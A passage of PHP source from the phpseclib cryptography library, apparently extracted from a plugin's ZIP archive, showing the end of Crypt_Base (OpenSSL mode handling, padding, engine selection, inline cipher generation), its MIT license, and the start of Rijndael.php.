$this->_string_pop($plaintext, $overflow); // ie. trim $plaintext to a multiple of $block_size and put rest of $plaintext in $plaintext2 $encrypted = openssl_encrypt($plaintext . str_repeat("\0", $block_size), $this->cipher_name_openssl, $key, $this->openssl_options, $encryptIV); $temp = $this->_string_pop($encrypted, $block_size); $ciphertext.= $encrypted . ($plaintext2 ^ $temp); if ($this->continuousBuffer) { $buffer['ciphertext'] = substr($temp, $overflow); $encryptIV = $temp; } } elseif (!strlen($buffer['ciphertext'])) { $ciphertext.= openssl_encrypt($plaintext . str_repeat("\0", $block_size), $this->cipher_name_openssl, $key, $this->openssl_options, $encryptIV); $temp = $this->_string_pop($ciphertext, $block_size); if ($this->continuousBuffer) { $encryptIV = $temp; } } if ($this->continuousBuffer) { if (!defined('OPENSSL_RAW_DATA')) { $encryptIV.= @openssl_encrypt('', $this->cipher_name_openssl_ecb, $key, $this->openssl_options); } $encryptIV = @openssl_decrypt($encryptIV, $this->cipher_name_openssl_ecb, $key, $this->openssl_options); if ($overflow) { $this->_increment_str($encryptIV); } } return $ciphertext; } /** * OpenSSL OFB Processor * * PHP's OpenSSL bindings do not operate in continuous mode so we'll wrap around it. Since the keystream * for OFB is the same for both encrypting and decrypting this function is re-used by both Crypt_Base::encrypt() * and Crypt_Base::decrypt(). * * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() * @param string $plaintext * @param string $encryptIV * @param array $buffer * @return string * @access private */ function _openssl_ofb_process($plaintext, &$encryptIV, &$buffer) { if (strlen($buffer['xor'])) { $ciphertext = $plaintext ^ $buffer['xor']; $buffer['xor'] = substr($buffer['xor'], strlen($ciphertext)); $plaintext = substr($plaintext, strlen($ciphertext)); } else { $ciphertext = ''; } $block_size = $this->block_size; $len = strlen($plaintext); $key = $this->key; $overflow = $len % $block_size; if (strlen($plaintext)) { if ($overflow) { $ciphertext.= openssl_encrypt(substr($plaintext, 0, -$overflow) . str_repeat("\0", $block_size), $this->cipher_name_openssl, $key, $this->openssl_options, $encryptIV); $xor = $this->_string_pop($ciphertext, $block_size); if ($this->continuousBuffer) { $encryptIV = $xor; } $ciphertext.= $this->_string_shift($xor, $overflow) ^ substr($plaintext, -$overflow); if ($this->continuousBuffer) { $buffer['xor'] = $xor; } } else { $ciphertext = openssl_encrypt($plaintext, $this->cipher_name_openssl, $key, $this->openssl_options, $encryptIV); if ($this->continuousBuffer) { $encryptIV = substr($ciphertext, -$block_size) ^ substr($plaintext, -$block_size); } } } return $ciphertext; } /** * phpseclib <-> OpenSSL Mode Mapper * * May need to be overwritten by classes extending this one in some cases * * @return int * @access private */ function _openssl_translate_mode() { switch ($this->mode) { case CRYPT_MODE_ECB: return 'ecb'; case CRYPT_MODE_CBC: return 'cbc'; case CRYPT_MODE_CTR: return 'ctr'; case CRYPT_MODE_CFB: return 'cfb'; case CRYPT_MODE_OFB: return 'ofb'; } } /** * Pad "packets". * * Block ciphers working by encrypting between their specified [$this->]block_size at a time * If you ever need to encrypt or decrypt something that isn't of the proper length, it becomes necessary to * pad the input so that it is of the proper length. * * Padding is enabled by default. Sometimes, however, it is undesirable to pad strings. Such is the case in SSH, * where "packets" are padded with random bytes before being encrypted. Unpad these packets and you risk stripping * away characters that shouldn't be stripped away. (SSH knows how many bytes are added because the length is * transmitted separately) * * @see Crypt_Base::disablePadding() * @access public */ function enablePadding() { $this->padding = true; } /** * Do not pad packets. * * @see Crypt_Base::enablePadding() * @access public */ function disablePadding() { $this->padding = false; } /** * Treat consecutive "packets" as if they are a continuous buffer. * * Say you have a 32-byte plaintext $plaintext. Using the default behavior, the two following code snippets * will yield different outputs: * * <code> * echo $rijndael->encrypt(substr($plaintext, 0, 16)); * echo $rijndael->encrypt(substr($plaintext, 16, 16)); * </code> * <code> * echo $rijndael->encrypt($plaintext); * </code> * * The solution is to enable the continuous buffer. Although this will resolve the above discrepancy, it creates * another, as demonstrated with the following: * * <code> * $rijndael->encrypt(substr($plaintext, 0, 16)); * echo $rijndael->decrypt($rijndael->encrypt(substr($plaintext, 16, 16))); * </code> * <code> * echo $rijndael->decrypt($rijndael->encrypt(substr($plaintext, 16, 16))); * </code> * * With the continuous buffer disabled, these would yield the same output. With it enabled, they yield different * outputs. The reason is due to the fact that the initialization vector's change after every encryption / * decryption round when the continuous buffer is enabled. When it's disabled, they remain constant. * * Put another way, when the continuous buffer is enabled, the state of the Crypt_*() object changes after each * encryption / decryption round, whereas otherwise, it'd remain constant. For this reason, it's recommended that * continuous buffers not be used. They do offer better security and are, in fact, sometimes required (SSH uses them), * however, they are also less intuitive and more likely to cause you problems. * * @see Crypt_Base::disableContinuousBuffer() * @access public * @internal Could, but not must, extend by the child Crypt_* class */ function enableContinuousBuffer() { if ($this->mode == CRYPT_MODE_ECB) { return; } $this->continuousBuffer = true; $this->_setEngine(); } /** * Treat consecutive packets as if they are a discontinuous buffer. * * The default behavior. * * @see Crypt_Base::enableContinuousBuffer() * @access public * @internal Could, but not must, extend by the child Crypt_* class */ function disableContinuousBuffer() { if ($this->mode == CRYPT_MODE_ECB) { return; } if (!$this->continuousBuffer) { return; } $this->continuousBuffer = false; $this->changed = true; $this->_setEngine(); } /** * Test for engine validity * * @see Crypt_Base::Crypt_Base() * @param int $engine * @access public * @return bool */ function isValidEngine($engine) { switch ($engine) { case CRYPT_ENGINE_OPENSSL: if ($this->mode == CRYPT_MODE_STREAM && $this->continuousBuffer) { return false; } $this->openssl_emulate_ctr = false; $result = $this->cipher_name_openssl && extension_loaded('openssl') && // PHP 5.3.0 - 5.3.2 did not let you set IV's version_compare(PHP_VERSION, '5.3.3', '>='); if (!$result) { return false; } // prior to PHP 5.4.0 OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING were not defined. instead of expecting an integer // $options openssl_encrypt expected a boolean $raw_data. if (!defined('OPENSSL_RAW_DATA')) { $this->openssl_options = true; } else { $this->openssl_options = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING; } $methods = openssl_get_cipher_methods(); if (in_array($this->cipher_name_openssl, $methods)) { return true; } // not all of openssl's symmetric cipher's support ctr. for those // that don't we'll emulate it switch ($this->mode) { case CRYPT_MODE_CTR: if (in_array($this->cipher_name_openssl_ecb, $methods)) { $this->openssl_emulate_ctr = true; return true; } } return false; case CRYPT_ENGINE_INTERNAL: return true; } return false; } /** * Sets the preferred crypt engine * * Currently, $engine could be: * * - CRYPT_ENGINE_OPENSSL [very fast] * * - CRYPT_ENGINE_MCRYPT [fast] * * - CRYPT_ENGINE_INTERNAL [slow] * * If the preferred crypt engine is not available the fastest available one will be used * * @see Crypt_Base::Crypt_Base() * @param int $engine * @access public */ function setPreferredEngine($engine) { switch ($engine) { //case CRYPT_ENGINE_OPENSSL: case CRYPT_ENGINE_MCRYPT: case CRYPT_ENGINE_INTERNAL: $this->preferredEngine = $engine; break; default: $this->preferredEngine = CRYPT_ENGINE_OPENSSL; } $this->_setEngine(); } /** * Returns the engine currently being utilized * * @see Crypt_Base::_setEngine() * @access public */ function getEngine() { return $this->engine; } /** * Sets the engine as appropriate * * @see Crypt_Base::Crypt_Base() * @access private */ function _setEngine() { $this->engine = null; $candidateEngines = array( $this->preferredEngine, CRYPT_ENGINE_OPENSSL, CRYPT_ENGINE_MCRYPT ); foreach ($candidateEngines as $engine) { if ($this->isValidEngine($engine)) { $this->engine = $engine; break; } } if (!$this->engine) { $this->engine = CRYPT_ENGINE_INTERNAL; } $this->changed = true; } /** * Encrypts a block * * @access private * @param string $in * @return string * @internal Must be extended by the child Crypt_* class */ function _encryptBlock($in) { user_error((version_compare(PHP_VERSION, '5.0.0', '>=') ? __METHOD__ : __FUNCTION__) . '() must extend by class ' . get_class($this), E_USER_ERROR); } /** * Decrypts a block * * @access private * @param string $in * @return string * @internal Must be extended by the child Crypt_* class */ function _decryptBlock($in) { user_error((version_compare(PHP_VERSION, '5.0.0', '>=') ? __METHOD__ : __FUNCTION__) . '() must extend by class ' . get_class($this), E_USER_ERROR); } /** * Setup the key (expansion) * * Only used if $engine == CRYPT_ENGINE_INTERNAL * * @see Crypt_Base::_setup() * @access private * @internal Must be extended by the child Crypt_* class */ function _setupKey() { user_error((version_compare(PHP_VERSION, '5.0.0', '>=') ? __METHOD__ : __FUNCTION__) . '() must extend by class ' . get_class($this), E_USER_ERROR); } /** * Setup the CRYPT_ENGINE_INTERNAL $engine * * (re)init, if necessary, the internal cipher $engine and flush all $buffers * Used (only) if $engine == CRYPT_ENGINE_INTERNAL * * _setup() will be called each time if $changed === true * typically this happens when using one or more of following public methods: * * - setKey() * * - setIV() * * - disableContinuousBuffer() * * - First run of encrypt() / decrypt() with no init-settings * * @see setKey() * @see setIV() * @see disableContinuousBuffer() * @access private * @internal _setup() is always called before en/decryption. * @internal Could, but not must, extend by the child Crypt_* class */ function _setup() { $this->_clearBuffers(); $this->_setupKey(); if ($this->use_inline_crypt) { $this->_setupInlineCrypt(); } } /** * Pads a string * * Pads a string using the RSA PKCS padding standards so that its length is a multiple of the blocksize. * $this->block_size - (strlen($text) % $this->block_size) bytes are added, each of which is equal to * chr($this->block_size - (strlen($text) % $this->block_size) * * If padding is disabled and $text is not a multiple of the blocksize, the string will be padded regardless * and padding will, hence forth, be enabled. * * @see Crypt_Base::_unpad() * @param string $text * @access private * @return string */ function _pad($text) { $length = strlen($text); if (!$this->padding) { if ($length % $this->block_size == 0) { return $text; } else { user_error("The plaintext's length ($length) is not a multiple of the block size ({$this->block_size})"); $this->padding = true; } } $pad = $this->block_size - ($length % $this->block_size); return str_pad($text, $length + $pad, chr($pad)); } /** * Unpads a string. * * If padding is enabled and the reported padding length is invalid the encryption key will be assumed to be wrong * and false will be returned. * * @see Crypt_Base::_pad() * @param string $text * @access private * @return string */ function _unpad($text) { if (!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > $this->block_size) { return false; } return substr($text, 0, -$length); } /** * Clears internal buffers * * Clearing/resetting the internal buffers is done everytime * after disableContinuousBuffer() or on cipher $engine (re)init * ie after setKey() or setIV() * * @access public * @internal Could, but not must, extend by the child Crypt_* class */ function _clearBuffers() { $this->enbuffer = $this->debuffer = array('ciphertext' => '', 'xor' => '', 'pos' => 0, 'enmcrypt_init' => true); // mcrypt's handling of invalid's $iv: // $this->encryptIV = $this->decryptIV = strlen($this->iv) == $this->block_size ? $this->iv : str_repeat("\0", $this->block_size); $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0"); if (!$this->skip_key_adjustment) { $this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0"); } } /** * String Shift * * Inspired by array_shift * * @param string $string * @param int $index * @access private * @return string */ function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } /** * String Pop * * Inspired by array_pop * * @param string $string * @param int $index * @access private * @return string */ function _string_pop(&$string, $index = 1) { $substr = substr($string, -$index); $string = substr($string, 0, -$index); return $substr; } /** * Increment the current string * * @see Crypt_Base::decrypt() * @see Crypt_Base::encrypt() * @param string $var * @access private */ function _increment_str(&$var) { for ($i = 4; $i <= strlen($var); $i+= 4) { $temp = substr($var, -$i, 4); switch ($temp) { case "\xFF\xFF\xFF\xFF": $var = substr_replace($var, "\x00\x00\x00\x00", -$i, 4); break; case "\x7F\xFF\xFF\xFF": $var = substr_replace($var, "\x80\x00\x00\x00", -$i, 4); return; default: $temp = unpack('Nnum', $temp); $var = substr_replace($var, pack('N', $temp['num'] + 1), -$i, 4); return; } } $remainder = strlen($var) % 4; if ($remainder == 0) { return; } $temp = unpack('Nnum', str_pad(substr($var, 0, $remainder), 4, "\0", STR_PAD_LEFT)); $temp = substr(pack('N', $temp['num'] + 1), -$remainder); $var = substr_replace($var, $temp, 0, $remainder); } /** * Setup the performance-optimized function for de/encrypt() * * Stores the created (or existing) callback function-name * in $this->inline_crypt * * Internally for phpseclib developers: * * _setupInlineCrypt() would be called only if: * * - $engine == CRYPT_ENGINE_INTERNAL and * * - $use_inline_crypt === true * * - each time on _setup(), after(!) _setupKey() * * * This ensures that _setupInlineCrypt() has always a * full ready2go initializated internal cipher $engine state * where, for example, the keys allready expanded, * keys/block_size calculated and such. * * It is, each time if called, the responsibility of _setupInlineCrypt(): * * - to set $this->inline_crypt to a valid and fully working callback function * as a (faster) replacement for encrypt() / decrypt() * * - NOT to create unlimited callback functions (for memory reasons!) * no matter how often _setupInlineCrypt() would be called. At some * point of amount they must be generic re-useable. * * - the code of _setupInlineCrypt() it self, * and the generated callback code, * must be, in following order: * - 100% safe * - 100% compatible to encrypt()/decrypt() * - using only php5+ features/lang-constructs/php-extensions if * compatibility (down to php4) or fallback is provided * - readable/maintainable/understandable/commented and... not-cryptic-styled-code :-) * - >= 10% faster than encrypt()/decrypt() [which is, by the way, * the reason for the existence of _setupInlineCrypt() :-)] * - memory-nice * - short (as good as possible) * * Note: - _setupInlineCrypt() is using _createInlineCryptFunction() to create the full callback function code. * - In case of using inline crypting, _setupInlineCrypt() must extend by the child Crypt_* class. * - The following variable names are reserved: * - $_* (all variable names prefixed with an underscore) * - $self (object reference to it self. Do not use $this, but $self instead) * - $in (the content of $in has to en/decrypt by the generated code) * - The callback function should not use the 'return' statement, but en/decrypt'ing the content of $in only * * * @see Crypt_Base::_setup() * @see Crypt_Base::_createInlineCryptFunction() * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() * @access private * @internal If a Crypt_* class providing inline crypting it must extend _setupInlineCrypt() */ function _setupInlineCrypt() { // If, for any reason, an extending Crypt_Base() Crypt_* class // not using inline crypting then it must be ensured that: $this->use_inline_crypt = false // ie in the class var declaration of $use_inline_crypt in general for the Crypt_* class, // in the constructor at object instance-time // or, if it's runtime-specific, at runtime $this->use_inline_crypt = false; } /** * Creates the performance-optimized function for en/decrypt() * * Internally for phpseclib developers: * * _createInlineCryptFunction(): * * - merge the $cipher_code [setup'ed by _setupInlineCrypt()] * with the current [$this->]mode of operation code * * - create the $inline function, which called by encrypt() / decrypt() * as its replacement to speed up the en/decryption operations. * * - return the name of the created $inline callback function * * - used to speed up en/decryption * * * * The main reason why can speed up things [up to 50%] this way are: * * - using variables more effective then regular. * (ie no use of expensive arrays but integers $k_0, $k_1 ... * or even, for example, the pure $key[] values hardcoded) * * - avoiding 1000's of function calls of ie _encryptBlock() * but inlining the crypt operations. * in the mode of operation for() loop. * * - full loop unroll the (sometimes key-dependent) rounds * avoiding this way ++$i counters and runtime-if's etc... * * The basic code architectur of the generated $inline en/decrypt() * lambda function, in pseudo php, is: * * <code> * +----------------------------------------------------------------------------------------------+ * | callback $inline = create_function: | * | lambda_function_0001_crypt_ECB($action, $text) | * | { | * | INSERT PHP CODE OF: | * | $cipher_code['init_crypt']; // general init code. | * | // ie: $sbox'es declarations used for | * | // encrypt and decrypt'ing. | * | | * | switch ($action) { | * | case 'encrypt': | * | INSERT PHP CODE OF: | * | $cipher_code['init_encrypt']; // encrypt sepcific init code. | * | ie: specified $key or $box | * | declarations for encrypt'ing. | * | | * | foreach ($ciphertext) { | * | $in = $block_size of $ciphertext; | * | | * | INSERT PHP CODE OF: | * | $cipher_code['encrypt_block']; // encrypt's (string) $in, which is always: | * | // strlen($in) == $this->block_size | * | // here comes the cipher algorithm in action | * | // for encryption. | * | // $cipher_code['encrypt_block'] has to | * | // encrypt the content of the $in variable | * | | * | $plaintext .= $in; | * | } | * | return $plaintext; | * | | * | case 'decrypt': | * | INSERT PHP CODE OF: | * | $cipher_code['init_decrypt']; // decrypt sepcific init code | * | ie: specified $key or $box | * | declarations for decrypt'ing. | * | foreach ($plaintext) { | * | $in = $block_size of $plaintext; | * | | * | INSERT PHP CODE OF: | * | $cipher_code['decrypt_block']; // decrypt's (string) $in, which is always | * | // strlen($in) == $this->block_size | * | // here comes the cipher algorithm in action | * | // for decryption. | * | // $cipher_code['decrypt_block'] has to | * | // decrypt the content of the $in variable | * | $ciphertext .= $in; | * | } | * | return $ciphertext; | * | } | * | } | * +----------------------------------------------------------------------------------------------+ * </code> * * See also the Crypt_*::_setupInlineCrypt()'s for * productive inline $cipher_code's how they works. * * Structure of: * <code> * $cipher_code = array( * 'init_crypt' => (string) '', // optional * 'init_encrypt' => (string) '', // optional * 'init_decrypt' => (string) '', // optional * 'encrypt_block' => (string) '', // required * 'decrypt_block' => (string) '' // required * ); * </code> * * @see Crypt_Base::_setupInlineCrypt() * @see Crypt_Base::encrypt() * @see Crypt_Base::decrypt() * @param array $cipher_code * @access private * @return string (the name of the created callback function) */ function _createInlineCryptFunction($cipher_code) { $block_size = $this->block_size; // optional $init_crypt = isset($cipher_code['init_crypt']) ? $cipher_code['init_crypt'] : ''; $init_encrypt = isset($cipher_code['init_encrypt']) ? $cipher_code['init_encrypt'] : ''; $init_decrypt = isset($cipher_code['init_decrypt']) ? $cipher_code['init_decrypt'] : ''; // required $encrypt_block = $cipher_code['encrypt_block']; $decrypt_block = $cipher_code['decrypt_block']; // Generating mode of operation inline code, // merged with the $cipher_code algorithm // for encrypt- and decryption. switch ($this->mode) { case CRYPT_MODE_ECB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.'); '.$encrypt_block.' $_ciphertext.= $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) + ('.$block_size.' - strlen($_text) % '.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.'); '.$decrypt_block.' $_plaintext.= $in; } return $self->_unpad($_plaintext); '; break; case CRYPT_MODE_CTR: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer = &$self->enbuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.' $self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_ciphertext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.' $self->_increment_str($_xor); $_key = $in; $_ciphertext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len % '.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_ciphertext_len = strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.' $self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.' $self->_increment_str($_xor); $_key = $in; $_plaintext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->decryptIV = $_xor; if ($_start = $_ciphertext_len % '.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_plaintext; '; break; case CRYPT_MODE_CFB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_buffer = &$self->enbuffer; if ($self->continuousBuffer) { $_iv = &$self->encryptIV; $_pos = &$_buffer["pos"]; } else { $_iv = $self->encryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos) { $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max; $_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; } $_ciphertext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, $_ciphertext, $_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv; '.$encrypt_block.'; $_iv = $in ^ substr($_text, $_i, '.$block_size.'); $_ciphertext.= $_iv; $_len-= '.$block_size.'; $_i+= '.$block_size.'; } if ($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_block = $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv, $_block, 0, $_len); $_ciphertext.= $_block; $_pos = $_len; } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_buffer = &$self->debuffer; if ($self->continuousBuffer) { $_iv = &$self->decryptIV; $_pos = &$_buffer["pos"]; } else { $_iv = $self->decryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos) { $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max; $_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; } $_plaintext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, substr($_text, 0, $_i), $_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv; '.$encrypt_block.' $_iv = $in; $cb = substr($_text, $_i, '.$block_size.'); $_plaintext.= $_iv ^ $cb; $_iv = $cb; $_len-= '.$block_size.'; $_i+= '.$block_size.'; } if ($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_plaintext.= $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv, substr($_text, $_i), 0, $_len); $_pos = $_len; } return $_plaintext; '; break; case CRYPT_MODE_OFB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer = &$self->enbuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; } $_key = $self->_string_shift($_buffer["xor"], '.$block_size.'); $_ciphertext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_ciphertext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len % '.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_ciphertext_len = strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; } $_key = $self->_string_shift($_buffer["xor"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_plaintext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) { $self->decryptIV = $_xor; if ($_start = $_ciphertext_len % '.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_plaintext; '; break; case CRYPT_MODE_STREAM: $encrypt = $init_encrypt . ' $_ciphertext = ""; '.$encrypt_block.' return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; '.$decrypt_block.' return $_plaintext; '; break; // case CRYPT_MODE_CBC: default: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $in = $self->encryptIV; for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.') ^ $in; '.$encrypt_block.' $_ciphertext.= $in; } if ($self->continuousBuffer) { $self->encryptIV = $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) + ('.$block_size.' - strlen($_text) % '.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); $_iv = $self->decryptIV; for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = $_block = substr($_text, $_i, '.$block_size.'); '.$decrypt_block.' $_plaintext.= $in ^ $_iv; $_iv = $_block; } if ($self->continuousBuffer) { $self->decryptIV = $_iv; } return $self->_unpad($_plaintext); '; break; } $inline_code = $init_crypt . 'if ($_action == "encrypt") { ' . $encrypt . ' } else { ' . $decrypt . ' }'; // Create the $inline function and return its name as string. Ready to run! if( version_compare(PHP_VERSION, '7.2.0', '>=') ) { eval('$func = function ($_action, &$self, $_text) { ' . $inline_code . '};'); return Closure::bind($func, $this); } else { return create_function('$_action, &$self, $_text', $inline_code); } } /** * Holds the lambda_functions table (classwide) * * Each name of the lambda function, created from * _setupInlineCrypt() && _createInlineCryptFunction() * is stored, classwide (!), here for reusing. * * The string-based index of $function is a classwide * uniqe value representing, at least, the $mode of * operation (or more... depends of the optimizing level) * for which $mode the lambda function was created. * * @access private * @return array &$functions */ function &_getLambdaFunctions() { static $functions = array(); return $functions; } /** * Generates a digest from $bytes * * @see _setupInlineCrypt() * @access private * @param $bytes * @return string */ function _hashInlineCryptFunction($bytes) { if (!defined('CRYPT_BASE_WHIRLPOOL_AVAILABLE')) { define('CRYPT_BASE_WHIRLPOOL_AVAILABLE', (bool)(extension_loaded('hash') && in_array('whirlpool', hash_algos()))); } $result = ''; $hash = $bytes; switch (true) { case CRYPT_BASE_WHIRLPOOL_AVAILABLE: foreach (str_split($bytes, 64) as $t) { $hash = hash('whirlpool', $hash, true); $result .= $t ^ $hash; } return $result . hash('whirlpool', $hash, true); default: $len = strlen($bytes); for ($i = 0; $i < $len; $i+=20) { $t = substr($bytes, $i, 20); $hash = pack('H*', sha1($hash)); $result .= $t ^ $hash; } return $result . pack('H*', sha1($hash)); } } } PK������Ê—[{y'ÁX��X��)��ecwid-shopping-cart/lib/phpseclib/LICENSEnu�„[µü¤��������Copyright 2007-2013 TerraFrost and other contributors http://phpseclib.sourceforge.net/ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK������Ê—[¶¹2¯��2¯��.��ecwid-shopping-cart/lib/phpseclib/Rijndael.phpnu�„[µü¤��������<?php /** * Pure-PHP implementation of Rijndael. * * Uses mcrypt, if available/possible, and an internal implementation, otherwise. * * PHP versions 4 and 5 * * If {@link Crypt_Rijndael::setBlockLength() setBlockLength()} isn't called, it'll be assumed to be 128 bits. If * {@link Crypt_Rijndael::setKeyLength() setKeyLength()} isn't called, it'll be calculated from * {@link Crypt_Rijndael::setKey() setKey()}. ie. if the key is 128-bits, the key length will be 128-bits. If it's * 136-bits it'll be null-padded to 192-bits and 192 bits will be the key length until * {@link Crypt_Rijndael::setKey() setKey()} is called, again, at which point, it'll be recalculated. * * Not all Rijndael implementations may support 160-bits or 224-bits as the block length / key length. mcrypt, for example, * does not. AES, itself, only supports block lengths of 128 and key lengths of 128, 192, and 256. * {@link http://csrc.nist.gov/archive/aes/rijndael/Rijndael-ammended.pdf#page=10 Rijndael-ammended.pdf#page=10} defines the * algorithm for block lengths of 192 and 256 but not for block lengths / key lengths of 160 and 224. Indeed, 160 and 224 * are first defined as valid key / block lengths in * {@link http://csrc.nist.gov/archive/aes/rijndael/Rijndael-ammended.pdf#page=44 Rijndael-ammended.pdf#page=44}: * Extensions: Other block and Cipher Key lengths. * Note: Use of 160/224-bit Keys must be explicitly set by setKeyLength(160) respectively setKeyLength(224). * * {@internal The variable names are the same as those in * {@link http://www.csrc.nist.gov/publications/fips/fips197/fips-197.pdf#page=10 fips-197.pdf#page=10}.}} * * Here's a short example of how to use this library: * <code> * <?php * include 'Crypt/Rijndael.php'; * * $rijndael = new Crypt_Rijndael(); * * $rijndael->setKey('abcdefghijklmnop'); * * $size = 10 * 1024; * $plaintext = ''; * for ($i = 0; $i < $size; $i++) { * $plaintext.= 'a'; * } * * echo $rijndael->decrypt($rijndael->encrypt($plaintext)); * ?> * </code> * * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the 